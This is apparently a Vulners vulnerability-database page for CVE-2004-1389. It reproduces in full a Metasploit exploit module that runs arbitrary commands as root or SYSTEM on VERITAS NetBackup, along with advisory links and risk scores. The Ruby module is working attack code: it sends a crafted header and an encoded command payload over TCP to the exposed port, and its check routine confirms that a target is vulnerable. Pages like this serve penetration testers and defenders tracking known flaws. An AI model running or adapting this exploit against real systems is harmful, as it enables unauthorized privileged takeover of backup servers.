Lucene search
K

VERITAS NetBackup Remote Command Execution

🗓️ 13 Nov 2008 09:45:47Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

VERITAS NetBackup Remote Command Execution module allows arbitrary command execution on an ephemeral port opened by Veritas NetBackup. The port is accessible with root or SYSTEM privileges from any source address

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-1389
29 May 201815:50
circl
CVE
CVE-2004-1389
6 Feb 200505:00
cve
Cvelist
CVE-2004-1389
6 Feb 200505:00
cvelist
Exploit DB
VERITAS NetBackup Remote Command Execution
9 Oct 201000:00
exploitdb
Exploit DB
Veritas NetBackup - Remote Command Execution (Metasploit)
21 Oct 200400:00
exploitdb
exploitpack
Veritas NetBackup - Remote Command Execution (Metasploit)
21 Oct 200400:00
exploitpack
NVD
CVE-2004-1389
31 Dec 200405:00
nvd
Packet Storm
VERITAS NetBackup Remote Command Execution
27 Oct 200900:00
packetstorm
seebug.org
Veritas NetBackup Remote Command Execution
21 Oct 200400:00
seebug
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VERITAS NetBackup Remote Command Execution',
      'Description'    => %q{
          This module allows arbitrary command execution on an
        ephemeral port opened by Veritas NetBackup, whilst an
        administrator is authenticated. The port is opened and
        allows direct console access as root or SYSTEM from
        any source address.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1389' ],
          [ 'OSVDB', '11026' ],
          [ 'BID', '11494' ]
        ],
      'Privileged'     => true,
      'Platform'       => %w{ linux unix win },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', { }],
        ],
      'DisclosureDate' => '2004-10-21',
      'DefaultTarget' => 0))
  end

  def check
    connect

    sploit = rand_text_alphanumeric(10)
    buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"

    sock.put(buf)
    banner = sock.get_once

    disconnect

    if banner.to_s.index(sploit)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    sploit = payload.encoded.split(" ")

    buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
    buf << payload.encoded
    buf << "\n"

    sock.put(buf)
    res = sock.get_once

    print_status(res.to_s)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.8Low risk
Vulners AI Score0.8
CVSS 26
EPSS0.28256
27